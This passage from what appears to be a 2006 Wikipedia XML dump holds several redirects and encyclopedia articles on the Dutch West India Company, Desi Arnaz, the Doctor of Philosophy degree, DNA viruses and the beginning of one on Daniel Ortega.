The company was initially relatively successful; in the [[1620s]] and [[1630s]], many trade posts or colonies were established. The [[New Netherland]] area, which included [[New Amsterdam]], covered parts of present-day [[New York]], [[Connecticut]], [[Delaware]], and [[New Jersey]]. Other settlements were established on the [[Netherlands Antilles]], several other Caribbean islands, [[Suriname]] and [[Guyana]]. In [[1630]], the colony of New Holland (capital Mauritsstad (modern [[Recife]])) was formed, taking over [[Portugal|Portuguese]] possessions in [[Brazil]]. 
In Africa, posts were established on the [[Gold Coast (British colony)|Gold Coast]] (now [[Ghana]]) and briefly in [[Angola]]. 

Another success for the WIC was the capture of a fleet carrying silver from the Spanish colonies to Europe by [[Piet Hein (Netherlands)|Piet Hein]] in [[1628]] - piracy was one of the objectives of the WIC.

In the Americas, [[fur]] (North America) and sugar (South America) were the most important trade goods, while African settlements traded slaves - mainly destined for the plantations on the Antilles and Suriname - gold and ivory.

However, the successes quickly ended. New Holland was lost to Portuguese Brazil in 1654, after a long war, and many other trading posts were also destroyed or captured by rivaling European nations. The [[New Netherland]] colonisation effort did not spread further either, in part due to a fierce rivalry with the [[England|English]], who conquered New Netherland in [[1664]], and in part due to the difficulty of attracting settlers under the company's initial policy of the [[Patroon]] system, which granted vast power over settlers to the men who brought them to the colony.

After years of debts, the original WIC folded in [[1674]], and a new, reorganised company was formed. Piracy was abandoned, and it concentrated primarily on the African [[slave trade]] and remaining possessions in Suriname and the Antilles. 

After the English took control of Suriname for several years in the [[1780s]], the WIC appeared unable to recover from this, and in [[1791]], the stocks of the company were bought by the Dutch government, and the territories were placed under its control.

==WIC ships==
*[[Halve Maen]]
*To be completed

==See also==
*[[Dutch East India Company]]
*[[British East India Company]]
*[[French East India Company]]
*[[List of director generals of New Netherland]]

==External links==
*[http://www.colonialvoyage.com/ Dutch Portuguese Colonial History]Dutch Portuguese Colonial History: history of the Portuguese and the Dutch in Ceylon, India, Malacca, Bengal, Formosa, Africa, Brazil. Language Heritage, lists of remains, maps.
*[http://geneaknowhow.net/in/schepen/overig-schepen/halve-maan-replica.html WIC ship halve maan] The WIC ship the Halve Maan.

[[Category:Chartered companies]]
[[Category:Companies of the Netherlands|West India Company, Dutch]]
[[Category:Dutch colonies|West India Company, Dutch]]
[[Category:Dutch multinationals]]
[[Category:Fur trade]]
[[Category:History of the Netherlands|West India Company, Dutch]]
[[Category:New Netherland]]
[[Category:Exploration ships of the Netherlands]]
[[Category:History of Guyana]]

[[de:Niederländische Westindien-Kompanie]]
[[eo:Nederlanda Okcidenthinda Kompanio]]
[[fr:Compagnie néerlandaise des Indes occidentales]]
[[nl:West-Indische Compagnie]]
[[nb:Det nederlandske Vestindiske kompani]]
[[pl:Holenderska Kompania Zachodnioindyjska]]
[[pt:Companhia Holandesa das Índias Ocidentais]]</text>
    </revision>
  </page>
  <page>
    <title>D Nice</title>
    <id>8770</id>
    <revision>
      <id>35583845</id>
      <timestamp>2006-01-17T20:40:30Z</timestamp>
      <contributor>
        <username>Mwelch</username>
        <id>725837</id>
      </contributor>
      <text xml:space="preserve">#REDIRECT [[D-Nice]]</text>
    </revision>
  </page>
  <page>
    <title>Dioula language</title>
    <id>8771</id>
    <revision>
      <id>15906721</id>
      <timestamp>2005-03-14T18:18:44Z</timestamp>
      <contributor>
        <username>Guaka</username>
        <id>12980</id>
      </contributor>
      <comment>it seems better to make this a redirect to Bambara, until there's enough material to make it an article of its own</comment>
      <text xml:space="preserve">#redirect [[Bambara language]]</text>
    </revision>
  </page>
  <page>
    <title>Domination and submission</title>
    <id>8772</id>
    <revision>
      <id>34395832</id>
      <timestamp>2006-01-08T19:40:28Z</timestamp>
      <contributor>
        <username>Mdwh</username>
        <id>556535</id>
      </contributor>
      <comment>most/all references to this article are in the context of BDSM, not biology</comment>
      <text xml:space="preserve">#REDIRECT [[Domination and submission (BDSM)]]</text>
    </revision>
  </page>
  <page>
    <title>Daniel C. Dennett</title>
    <id>8773</id>
    <revision>
      <id>15906723</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Daniel Dennett]]
</text>
    </revision>
  </page>
  <page>
    <title>Desi Arnaz</title>
    <id>8774</id>
    <revision>
      <id>40232034</id>
      <timestamp>2006-02-19T03:08:44Z</timestamp>
      <contributor>
        <ip>169.237.136.86</ip>
      </contributor>
      <text xml:space="preserve">[[Image:Desiarnaz.jpg|thumb|Desi Arnaz]]'''Desi Arnaz''' ([[March 2]], [[1917]] &amp;ndash; [[December 2]], [[1986]]) was a [[Cuba]]n-[[United States|American]] [[musician]], [[actor]], [[comedian]] and  [[television producer]].

He was born '''Desiderio Alberto Arnaz y de Acha, III''' in [[Santiago de Cuba]], [[Cuba|Cuba's]] second largest city, to a wealthy family. His ancestors had been among the recipients of the original [[Spanish people|Spanish]] land grants in the eighteenth century, and his father served in the Cuban House of Representatives and became the youngest mayor that Santiago had ever had. After the [[1933]] revolution that overthrew the American-backed President  [[Gerardo Machado]], Arnaz and his parents fled to [[Miami, Florida]]. At that time, Miami had virtually no Cubans, and to support the family Arnaz worked at different odd jobs.

He began his [[career]] as a professional musician in [[1936]], playing [[guitar]] and [[Percussion_instrument|percussion]] for a [[Latin American music|Latin orchestra]]. He then took a pay cut to work in [[New York City]] for [[Xavier Cugat]], his mentor, whom he later described as world-class cheapskate but an excellent teacher. Arnaz returned to Miami six months later to lead his own combo. It was there he introduced American audiences to the [[Conga Line]], which soon became a national rage. He formed his own orchestra and returned to New York.

Arnaz was also a successful recording artist, beginning in [[1937]], and had a hit with the [[Santeria|Santeria-flavored]] &quot;[[Babalu (song)|Babalu]]&quot; ([[1946 in music|1946]]), his signature song, which was recorded at RCA Victor.

In [[1939]], he starred on [[Broadway theatre|Broadway]] in the successful musical ''Too Many Girls''. He then went to [[Hollywood, California|Hollywood]] to appear in the [[1940 in film|1940]] [[film|movie]] version at [[RKO]], which starred actress and comedienne, [[Lucille Ball]]. They married in [[1940]] and initated divorce proceedings in 1944, but reconciled before the interlocutory decree became final.

He and Ball were the parents of actress [[Lucie Arnaz]] (born [[1951]]) and actor [[Desi Arnaz, Jr.]] (born [[1953]]).

Arnaz appeared in several movies in the [[1940s]], most notably ''[[Bataan (movie)|Bataan]]'' ([[1943 in film|1943]]). Shortly after he received his draft notice, but before he was actually inducted, he injured his knee. Although he made it through boot camp, he was eventually classified for limited service, and ended up directing [[U.S.O.]] programs at a military hospital in the [[San Fernando Valley]]. In his memoirs, he recalled discovering that the first thing soldiers requested was almost invariably a glass of cold milk, so he arranged for beautiful starlets to greet the wounded soldiers as they disembarked and pour milk for them. After leaving the Army, he formed another orchestra, which was successful in live appearances and recordings. After he became engaged in television, he kept the orchestra on his payroll. Throughout the period he remained an active producer.

He produced and starred in ''[[I Love Lucy]],''  in which he played a fictitious version of himself, Cuban orchestra leader Ricky Ricardo, and starring his real-life wife Lucille Ball as Ricky's wife Lucy. In the original pilot, Ricky and Lucy were successful showbusiness figures (he a band leader, she an actress) whose glamorous careers interfered with their efforts to maintain a normal marriage. Market research indicated, however, that this scenario would not be popular, so Arnaz changed it to make Ricky a struggling young orchestra leader and Lucy a plain housewife with showbiz fantasies but no talent at all. Initially, the idea of having Ball and the distinctly Latino Arnaz portray a married couple encountered resistance, for he was told that his Cuban accent and Latin style would not be agreeable to American viewers; but Arnaz overcame these objections by auditioning the proposed television show before live audiences with great success.

With Ball, he founded [[Desilu]] Productions. At this time, most television productions were broadcast live, and since the largest markets were in New York, the rest of the country received only [[kinescope]] images&amp;mdash;the result of placing [[35mm]] or [[16mm]] film cameras in front of a television monitor and shipping the prints to other time zones for broadcast at a later date&amp;mdash;resulting in extremely poor quality. Arnaz developed the [[multicamera setup]] production style using adjacent sets that became the standard for all subsequent [[situation comedy|situation comedies]]. The use of film enabled every station around the country to broadcast high-quality images of the show. Initially, Arnaz was told that it would be impossible to allow an audience onto a sound stage, but he worked with the famous cameraman [[Karl Freund]] to design a set that would accommodate an audience, allow filming and also adhere to fire and safety codes.

Arnaz also pushed the network to allow them to show Lucille Ball while she was pregnant. According to Arnaz, the [[CBS]] network told him, &quot;You cannot show a pregnant woman on television.&quot; Arnaz consulted a priest, a rabbi and a minister, all of whom told him that there would be nothing wrong with showing a pregnant Lucy or with using the word &quot;pregnant.&quot; The network finally relented and let Arnaz and Ball weave the pregnancy into the story line, but remained adamant about eschewing use of &quot;pregnant,&quot; so Arnaz substituted &quot;expecting,&quot; pronouncing it &quot;'spectin'&quot; in his Cuban accent.

Also worth noting is the firm stance Arnaz and Ball took as to &quot;basic good taste,&quot; avoiding racial or ethnic jokes, poking fun at the handicapped, and the like. Arnaz recalled that the only exception consisted of making fun of Ricky Ricardo's accent&amp;mdash;and noted that even these jokes worked only when Lucy, as his wife, did the mimicking. &quot;When [[William Frawley|Fred]] and [[Vivian Vance|Ethel]] made fun of Ricky's accent, they didn't get a laugh. Interesting, isn't it?&quot; Arnaz said.

Arnaz was adamantly patriotic--in his memoirs, the first object of thanks was the United States itself: &quot;I know of no other country in the world,&quot; he said, in which &quot;a sixteen-year old kid, broke and unable to speak the language,&quot; could reach the astonishing heights of success that he had. Arnaz' warm feelings towards his adopted country most likely influenced the storyline of ''[[I Love Lucy]]'' in certain subtle ways. Over the show's six-year run, the fortunes of the Ricardos closely mirror that of the archetypical 1950s [[American Dream]]: at first, they live in a tiny brownstone apartment; Ricky's fortunes continue to improve, and they move into a slightly larger one with a view. Later, Ricky gets his big break and goes to Hollywood; shortly after returning from New York, all of them have the chance to travel through Europe, an adventure that most Americans back then could never afford. Finally, after Little Ricky is born, Lucy and Ricky echo the ''[[Zeitgeist]]'' of 1950s America and head for the suburbs. Fred Mertz, with his unrelenting stinginess and fears about money, symbolizes the lean years of the Depression, now a fading memory.

In addition to ''I Love Lucy'', he produced ''[[December Bride]]'', ''[[The Texan]]'', ''[[Make Room for Daddy]]'', ''[[The Mothers-in-Law]]'', ''[[The Lucy Show]]'', ''[[Those Whiting Girls]]'', ''[[Our Miss Brooks]]'', and the pilot episode of ''[[The Untouchables]]'', all Top Ten shows in their time. He is also credited with the invention of the [[rerun]].

Arnaz's marriage with Ball began to collapse under the strain of his serious problems with alcohol, drugs, and womanizing. According to his memoir, the combined pressures of managing the production company as well as supervising its day-to-day operations had greatly worsened as it grew much larger. Arnaz was also suffering from [[diverticulitis]], probably as a result of alcohol abuse. He and Ball divorced in [[1960]]; she was 49 and he was 43.  When
Ball returned to weekly television, she and Arnaz worked out an agreement
regarding Desilu wherein she bought him out.  

Three years after the divorce, Arnaz married his second wife, Edith Mack Hirsh, and greatly reduced his show business activities.  He served as
executive producer of [[The Mothers-in-Law]], and during its two-year run,
made a couple of very amusing guest appearances as a Spanish [[matador]].
Actress [[Deborah Walley]], in her 20s when she co-starred in the series,
later recalled how Arnaz, then 50, was constantly coming on to her,
showing that his old habits were hard to break.  In the 70s, he co-hosted a week of shows with daytime TV favorite [[Mike Douglas]].  [[Vivian Vance]]
appeared as a guest, and in this brief reunion viewers could see the genuine
affection each had for the other.  Arnaz also headlined a Kraft Music
Hall special on [[NBC]] that featured his two children, with a brief appearance by Vance.  To promote his autobiography, cryptically named [[A Book]], Arnaz served as a memorable guest host on ''[[Saturday Night Live]]'' in [[1976]]. Desi and Edith eventually moved to [[Del Mar, California]], where he lived the rest of his life in semi-retirement.  He contributed generously to charitable and non-profit organizations, including [[San Diego State University]].   Arnaz would make a guest appearance on the TV series [[Alice_(television)|Alice]] starring [[Linda Lavin]].  This would be one of Arnaz's last television appearances remembered by American audiences.

Arnaz, a lifelong smoker, died in Del Mar at sixty-nine years of age from [[lung cancer]]. His body was cremated and his ashes scattered.  A widely published photograph taken at his memorial service shows an aged Lucille Ball emerging
from the church, her face etched with grief.

Desi Arnaz has two stars on the [[Hollywood Walk of Fame]], for contributions to motion pictures at 6327 Hollywood Boulevard, and for television at 6220 Hollywood Boulevard.

==Filmography==

*''[[Too Many Girls]]'' (1940)
*''[[Father Takes a Wife]]'' (1941)
*''[[Four Jacks and a Jill]]'' (1942)
*''[[The Navy Comes Through]]'' (1942)
*''Bataan'' (1943)
*''[[Screen Snapshots: Hollywood in Uniform]]'' (1943) (short subject)
*''[[Cuban Pete]]'' (1946)
*''[[Desi Arnaz and His Orchestra]]'' (1946) (short subject)
*''[[Jitterumba]]'' (1947) (short subject)
*''[[Holiday in Havana]]'' (1949)
*''[[I Love Lucy]]'' (1953) (unreleased compilation film of episodes from the show).
*''[[The Long, Long Trailer]]'' (1954)
*''[[Forever, Darling]]'' (1956)
*''[[Salsa (film)|Salsa]]'' (1976) (documentary)
*''[[The Escape Artist]]'' (1982)

==External links==
*{{imdb name|id=0000789|name=Desi Arnaz}}
*{{ibdb name|id=70756|name=Desi Arnaz}}

[[Category:1917 births|Arnaz, Desi]]
[[Category:1986 deaths|Arnaz, Desi]]
[[Category:American World War II veterans|Arnaz, Desi]]
[[Category:American bandleaders|Arnaz, Desi]]
[[Category:American comedians|Arnaz, Desi]]
[[Category:American film actors|Arnaz, Desi]]
[[Category:American stage actors|Arnaz, Desi]]
[[Category:American television actors|Arnaz, Desi]]
[[Category:American television producers|Arnaz, Desi]]
[[Category:Cuban-American actors|Arnaz, Desi]]
[[Category:Deaths by lung cancer|Arnaz, Desi]]
[[Category:Entertainers who died in their 60s|Arnaz, Desi]]
[[Category:Cuban-Americans|Arnaz, Desi]]
[[Category:Hollywood Walk of Fame|Arnaz, Desi]]
[[Category:Naturalized citizens of the United States|Arnaz, Desi]]
[[Category:Roman Catholic musicians|Arnaz, Desi]]
[[Category:United States Army soldiers|Arnaz, Desi]]

{{Persondata
|NAME=Arnaz, Desi
|ALTERNATIVE NAMES=
|SHORT DESCRIPTION=American musician
|DATE OF BIRTH=[[March 2]] [[1917]]
|PLACE OF BIRTH=[[Santiago de Cuba]]
|DATE OF DEATH=[[December 2]] [[1986]]
|PLACE OF DEATH=[[Del Mar, California]]
}}

[[de:Desi Arnaz]]
[[es:Desi Arnaz]]
[[sv:Desi Arnaz]]</text>
    </revision>
  </page>
  <page>
    <title>Doctor of Philosophy</title>
    <id>8775</id>
    <revision>
      <id>41663797</id>
      <timestamp>2006-02-28T22:43:51Z</timestamp>
      <contributor>
        <username>Schwnj</username>
        <id>108312</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/Killervenom47|Killervenom47]] to last version by Kbh3rd</comment>
      <text xml:space="preserve">'''Doctor of Philosophy''', or '''Ph.D.''' (an abbreviation for the [[Latin]] &quot;''Philosophiæ Doctor''&quot;; or alternatively ''Doctor philosophiæ'', '''D.Phil.'''), was originally a [[academic degree|degree]] granted by a [[university]] to learned individuals who had achieved the approval of their peers and who had demonstrated a long and productive career in the field of philosophy.  The appellation of &quot;Doctor&quot; (from Latin: teacher) was usually awarded only when the individual was in [[middle age]].  It indicated a life dedicated to learning, to knowledge, and to the spread of knowledge.

The degree was popularized in the [[19th century]] at the [[Humboldt University of Berlin|Friedrich Wilhelm University]] in [[Berlin]] as a degree to be granted to someone who had undertaken original research in the [[science]]s or [[humanities]].  From here it spread to the [[United States]], arriving at [[Yale University]] in [[1861]], and then to the [[United Kingdom]] in [[1921]].  This displaced the existing Doctor of Philosophy degree in some Universities; for instance, the '''D.Phil.''' (higher [[doctorate]] in the faculty of philosophy) at the [[University of St Andrews]] was discontinued and replaced with the Ph.D. (research [[doctorate]]).  However, some UK universities such as [[University of Oxford|Oxford]], [[University of York|York]] and [[University of Sussex|Sussex]] retain the D.Phil. appellation for their research degrees, as does the [[University of Waikato]] in New Zealand.

Some ability to carry out original research must be documented by producing a [[dissertation]] or [[thesis]], often of substantial length. The degree is often a prerequisite for permanent employment as a [[university]] lecturer or as a researcher in some sciences, though this varies on a regional basis.  In others such as [[engineering]] or [[geology]], a doctoral degree is considered desirable but not essential for employment.  In a small but growing number of fields, the doctorate is felt to injure employment prospects by causing 'overqualification' for the job.

==Time==
The successful completion of a doctoral program typically takes 3 to 7.5 years depending upon the specific field of study, prior experience and/or training, and the progress made by the doctoral candidate in his or her studies. In some fields, such as some specific branches of [[physics]], a doctoral degree is practically essential for employment.  In some sciences, a newly-graduated doctoral student is unlikely to find work as a [[tenure-track]] professor and must undertake one or a series of [[postdoctorate|postdoctorate]] positions.  

In the British-patterned universities, the Ph.D. program is much shorter because the coursework component is assigned to the masters' and bachelors' degrees, and the Ph.D. course is concerned purely with research for a [[dissertation]].  The target time is nominally three years, but some students finish earlier, and many take a few years longer.  The actual time depends strongly on the discipline being studied.

Because most British-style bachelors' degrees are much more specialized than in the North American liberal arts system, courses in the fourth-year level, and often at the third-year level, are comparable to those required of graduate students in North America.  For this reason, the bachelors' degree, if conferred with a high level of 'honours' (i.e. excellent grades), can allow admission to a Ph.D. program without having to first write a masters' thesis.  This route is only possible if the university offers an 'honours year' in the field of study, though this is becoming increasingly common due to the greater funding that universities receive for enrolling doctoral students.  In the past, it was more usual to register for a masters' degree which included a year of advanced coursework and a year or two of original research culminating in a short thesis.  Registration for a Ph.D. course required the masters' degree to be conferred with sufficiently high honours, and thus a British-style masters' degree is comparable to coursework and oral examinations in North America.  The upshot of this system is that, though the Ph.D. course is shorter in the British-style universities (often as little as three years), the time required to obtain a Ph.D. from first matriculation is approximately the same.

==Assessment==
The doctoral candidate's progress is usually overseen by a thesis advisor, or supervisor, who chairs a [[thesis committee]] that supervises the doctoral candidate.  In the U.S., doctoral programs typically require a series of required and optional courses at the beginning of the program, but education in the latter portion of the program tends to consist of informal discussions with the thesis advisor and individual research by the student.  Many U.S. and Canadian universities separate the program into two portions (doctoral student and doctoral candidate) with a required pre-doctoral examination before allowing a student to be formally admitted to the doctoral program.  Alternatively, a student may be admitted to the program, but is still required to complete a comprehensive examination on his or her field before being admitted to ''candidacy'', i.e. the dissertation-writing stage.

If a candidate completes all coursework up to but not including the final dissertation, he or she may use the informal [[All But Dissertation]] (ABD) status (United States) or receive a [[C.Phil.]] (United Kingdom).

==Funding==
The funding of students varies from field to field, and many American graduate students in the sciences and engineering work as [[teaching assistant]]s or research assistants while they are doctoral students, or obtain grants from government research agencies such as the [[National Science Foundation]] and the [[National Institutes of Health]].  Many [[Ivy League]] and other well-endowed universities provide funding for the entire duration of the course, or for most of it.

In Australia, Ph.D. students are quite often offered a scholarship to study their Ph.D. The most common of these is the Australian Postgraduate Award (APA) scholarship, which provides a living stipend to students of approximately AUD$19,000 a year (tax free). Most universities also offer a similar scholarship that matches the APA amount, but is funded by the university. In recent years, with the tightening of research funding in Australia, these scholarships have become increasingly harder to obtain.

In addition to the more common APA and University scholarships, Australian students also have other sources of funding in their Ph.D. These could include, but are not limited to, scholarships offered by schools, research centres and commercial enterprise. For the latter, the amount is determined between the university and the organisation, but is quite often set at the APA (Industry) rate, roughly AUD$10,000 more than the usual APA rate.  Australian students are often also able to tutor undergraduate classes (much like a teaching assistant in the USA) to generate income.

In the U.K., funding for Ph.D. students is often provided by government-funded [[Research Council|Research Councils]] such as the [[Engineering and Physical Sciences Research Council|EPSRC]] for Engineering and the Physical Sciences, the [[Medical Research Council (UK)|MRC]] for Medicine and the [[Arts and Humanities Research Council|AHRC]] for students of the arts and humanities. The funding takes the form of a [[Income tax|tax-free]] [[bursary]] of around [[£]]12,000 per year for three years, whether or not the degree continues for longer.

Research Council funding is typically allocated to an academic department which then allocate it to students. In order to ensure that students receiving such funding use it to complete their degree rather than for a paid three-year holiday, funding is provided to departments on the basis that future funding will be reduced by one half of a student for each student who does not complete a funded degree. This means that departments have a strong incentive to ensure that funding is allocated only to students who are likely to finish the degree.

Students at British universities may also take part in tutoring, work as a research assistant or even occasionally lecturing, either to supplement existing funding or as a sole means of funding.

==Oral defense==
In some countries, a Ph.D. candidate is required to present an oral defense of his or her thesis, known in the [[United Kingdom|UK]] as a '''viva''' (short for ''viva voce'', Latin for &quot;by live voice&quot;) before a committee. In [[Bosnia-Herzegovina]], [[France]], [[Norway]], [[Sweden]], [[Denmark]], [[Finland]], [[Germany]], and [[Switzerland]], before a degree can be granted, the dissertation has to be defended in what is, using a medieval term, called a '''[[disputation]]''': an expert in the field, often from another university, is appointed who will present the dissertation, subject it to a critical examination and discuss it with the author. In the context of the disputation, the critical examiner is termed the ''opponent'', and the author of the dissertation the ''respondent''. The dissertation has to be generally available in its final or at least in a preliminary published form a few weeks before the disputation (7 weeks in Sweden), which is open to the public; after the opponent is finished, anyone present is allowed to ask critical questions (anyone who does is called an &quot;opponent ex auditorio&quot;&amp;mdash;an opponent from the auditorium). The final grade is decided after the disputation in a meeting between the opponent and a grading committee of three or (sometimes) four people. In theory, also the points raised by ''oppenenti ex auditorio'' affect the grade. It has happened, that such opponent has caused the committee not to pass the ''respondent'', although this would be extremely extraordinary nowadays. 

In the United States a final oral defense before one's dissertation committee is required although it is rare that at this stage the thesis is not accepted.  Nonetheless, there are typically several candidates per decade in each college of each major U.S. university who somehow do fail to defend successfully.  Most who fail do not complete the process at a subsequent defense. It is a largely unwritten rule in the U.S. that unqualified candidates are eliminated during the coursework or dissertation research phases, and are never permitted to defend, hence the rarity of failing to pass the final defense in most cases.  Minor edits are often (most times) required during the defense by committee members, and must be made prior to the final signing of the committee's recommendation paperwork by all committee members.  At the end of the defense, the candidate is excused from the room, and the committee votes in secret whether to grant the degree.  Upon successfully voting in the affirmative unanimously, the committee then calls the candidate back in to the room by addressing him or her using the honorific Dr. (with their last name) if successful, or Mr. or Ms. (with their last name) if unsuccessful.  In some universities, the candidate is considered to become a Doctor of Philosophy at the instant that all committee members vote in the affirmative.  In others, the degree must be conferred by the university corporation.

The rare case of not successfully defending is also true in the [[Netherlands]], where the oral defense (&quot;promotie&quot;) typically happens after the thesis has already been approved by examiners. The oral defense is ended after a preset amount of time by the University-appointed 'pedel' or ''custos'' who is in charge of the protocol and will end the defense with the words &quot;Hora est!&quot; (latin for ''it is time'' or ''the hour has come'').  

In contrast, examinations ''viva voce'' in British universities are by no means a rubber stamp.  Whilst many (perhaps most) theses are passed with some minor corrections or revisions required by the examiners, very few are passed with no corrections whatsoever, and indeed a pass-without-correction is considered a particular honour.  Moreover, it is not uncommon for British theses to be failed, as well &amp;mdash; in which case, either major re-writes are required, followed by a new viva, or else the thesis may be awarded the lesser degree of M.Phil ([[Master of Philosophy]]) instead.

== Comparative value ==

A Ph.D. does not confer commensurate advantage in every sphere. For example, many commercial organizations regard a [[Professional Master's degree|professional Master's degree]], such as an [[Master of Business Administration|MBA]], or professional designation, such as [[Certified Public Accountant|CPA]], as the highest level of education that is desirable. Traditional views of the value of academic study in commerce are changing {{inote|MacGillivray, Alex; Potts, Gareth; Raymond, Polly. ''Secrets of Their Success'' (London: New Economics Foundation, 2002) pp. 16-19|NEF2002}} but scepticism about the commercial value of a Ph.D. prevails. Medical schools may offer research Ph.D. degrees in conjunction with their M.D. programs, although an M.D. by itself is all that is required to teach medicine.

==Criticism==
The Ph.D. is often the topic of scholarly debate and criticism, given its almost exclusive concern with [[research]] and publication to the alleged neglect of numerous other faculty responsibilities that include [[teaching]], collegial evaluation, collective and individual curricular planning, etc. Solutions have met with varying degrees of success. In the 1960s, the prestigious [[Carnegie Foundation]] helped promote and establish the [[Doctor of Arts]] degree as an alternative to the Ph.D. The D.A. degree, with its focus on content specialty, curriculum design, and [[pedagogy]], was designed to help prepare expert teachers in various fields. Its well-defined disciplinary focus makes it different from the [[Ed.D.]] (Doctor of Education) while still embracing the Ed.D.'s concern for issues in education. The D.A. continues to be offered in many universities across the United States and in other countries, though a few D.A. programs have since been converted to the Ph.D. model. Still, the D.A. has many steadfast supporters. Other solutions include a re-thinking of the Ph.D. in order to address its perceived shortcomings. [[William Henry Bragg]], the noted physicist, was famously known to have said, &quot;whatever you do, don't do a Ph.D.&quot;.

==Etymology==
There are many other doctoral degrees with different designations, e.g. [[Doctor of Arts|D.A.]] (Doctor of Arts), [[D.M.A.]] (Doctor of Musical Arts), [[Ed.D.]] (Doctor of Education), [[Th.D]]. (Doctor of Theology), etc. [[Johns Hopkins University]] was the first university in the [[United States]] to confer doctoral degrees. The first Ph.D. in Business was granted by the [[University of Chicago]]  in 1920s. 

In the United Kingdom and other universities in the British Commonwealth, Ph.D.s are distinguishable from the [[higher doctorate]]s that outrank them (such as D.Litt. ([[Doctor of Letters]]) or D.Sc. ([[Doctor of Science]]), which are issued by a committee on the basis of a long record of research and publication).  They are also distinct from ''professional'' doctorates such as those conferred in medicine, education, engineering and jurisprudence (M.D., Ed.D., Eng.D., D.Jur.).  In most universities, professional doctorates involve coursework or a much smaller research component, so the Ph.D. is therefore understood formally to outrank them. However at the ancient British Universities (i.e. [[University of Oxford|Oxford]] and [[University of Cambridge|Cambridge]]) the  M.D. is of a far more ancient origin (medieval) than that of the Ph.D (twentieth century). Hence the M.D. outranks the Ph.D. in the hierarchy of the University. This is regardless of the academic rigor of the comparative theses. 

In German speaking countries and most eastern European countries, the corresponding degree is simply called &quot;Doctor&quot; and is further distinguished by subject area with a Latin suffix (e.g. &quot;Dr.med.&quot; - doctor medicinæ - which is not equal to a Ph.D., &quot;Dr.rer.nat - doctor rerum naturalium (Doctor of Science), &quot;Dr.phil.&quot; - doctor philosophiæ. (For a full list of these titles, see the German entry for [[:de:Doktor|Doktor]]).

While the Ph.D. is the most common doctoral degree, and even often (mis)understood to be synonymous with the term &amp;ldquo;[[doctorate]],&amp;rdquo; the [[U.S. Department of Education]] and the [[U.S. National Science Foundation]] (NSF) recognize numerous doctoral degrees as equivalent, and do not discriminate between them.

Sometimes a university grants an [[honorary degree|honorary Ph.D. or D.A.]], or other doctoral degree, with the added designation of ''[[honoris causa]]'' ([[Latin]] for ''for the sake of honor''), or Dr.h.c.

== See also ==
*[[Doctorate]]
*[[Terminal degree]]
*[[Bachelor's degree]]
*[[Academic degree]]
*[[Graduate student]]
*[[Piled Higher and Deeper]], a [[webcomic]] which satirizes the life of graduate students earning a Ph.D.
*[[J.D.]]
*[[LL.D.]]
*[[Doctor of Arts| D.A.]]
*[[Doctor of Business Administration| DBA]]
*[[Doctor of Education|Ed.D.]]
*[[Doctor of Theology|Th.D.]]
*[[Master's degree]]
*[[MBA]]
*[[M.D.]]
*[[D.P.T]]
*[[Pharm.D.]]
*[[Psy.D.]]
*[[Engineering Doctorate | Eng.D.]]
*[[D.Sc]]
*[[EURODOC]]
*[[Dottorato di ricerca]] (Italian equivalent of Ph.D.)
*[[Dr. univ.]]
*[[C.Phil.]]

==Bibliography==
* Estelle M Phillips and Derek.S. Pugh How to Get a Ph.D.: A Handbook for Students and Their Supervisors   ISBN 033520550X,
*MacGillivray, Alex; Potts, Gareth; Raymond, Polly. ''Secrets of Their Success'' (London: New Economics Foundation, 2002)

== External links==
The Curry School of Education University of Virginia has interesting materials including 
*[http://curry.edschool.virginia.edu/go/heresearch/historydocdegree.htm History of the doctoral degree (PhD) and dissertations]
There is some general information about the history of the PhD in Britain in
*[http://www.economics.soton.ac.uk/staff/aldrich/PhD.htm The Mathematics PhD in the United Kingdom: Notes on its History]

[[Category:Doctoral degrees|Philosophy, Doctor of]]

[[ar:دكتوراه الفلسفة]]
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[[ru:Доктор философии]]
[[sv:Filosofie doktor]]
[[zh:哲學博士]]</text>
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  </page>
  <page>
    <title>DNA virus</title>
    <id>8777</id>
    <revision>
      <id>36547982</id>
      <timestamp>2006-01-24T21:17:50Z</timestamp>
      <contributor>
        <username>Isnow</username>
        <id>180201</id>
      </contributor>
      <minor />
      <comment>+zh</comment>
      <text xml:space="preserve">A '''DNA virus''' is a [[virus (biology)|virus]] that has [[DNA]] as its [[genetic material]] and does not use an [[RNA]] intermediate during replication. Viruses that either have RNA as their genetic material or use an RNA intermediate during replication are called [[RNA virus]]es. The DNA can either be single-stranded (ssDNA) or double-stranded (dsDNA), the latter being more common.

Single-stranded DNA is usually expanded to double-stranded in infected cells.

==See also==
*[[Mimivirus]]
*[[RNA virus]]
*[[Virus classification]]

[[Category:Virology]][[Category:DNA]]

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  </page>
  <page>
    <title>Daniel Ortega</title>
    <id>8778</id>
    <revision>
      <id>42129891</id>
      <timestamp>2006-03-04T00:40:56Z</timestamp>
      <contributor>
        <username>Mostein01</username>
        <id>965787</id>
      </contributor>
      <text xml:space="preserve">{| align=&quot;right&quot; cellpadding=&quot;2&quot; cellspacing=&quot;0&quot; style=&quot;border: 1px solid; margin-left: 1em&quot;
|+ '''Daniel Ortega Saavedra'''
[[Image:415240.jpg|415240.jpg]]


! bgcolor=&quot;#efefef&quot; colspan=&quot;2&quot; |
|-
! Date of Birth:
| November 11, 1945 
|-
! Date of Death:
| &amp;ndash;
|-
! bgcolor=&quot;#efefef&quot; colspan=&quot;2&quot; | [[President of Nicaragua]]
|-
! Tenure Order:
| Constitutional President 
|-
! Term in Office:
| January 10, 1985 &amp;ndash;  April 25, 1990 
|-
! Predecessor:
| [[Junta of National Reconstruction]]
|-
! Successor:
| [[Violeta Chamorro|Violeta Barrios de Chamorro]]
|}
'''Daniel Ortega Saavedra''' (born [[11 November]] [[1945]]) was the president of [[Nicaragua]] from [[1985]] to [[1990]]. For much of his life he has been an important leader in the [[Sandinista National Liberation Front]] (''Frente Sandinista de Liberación Nacional'' or ''FSLN'').

==Rise to power==

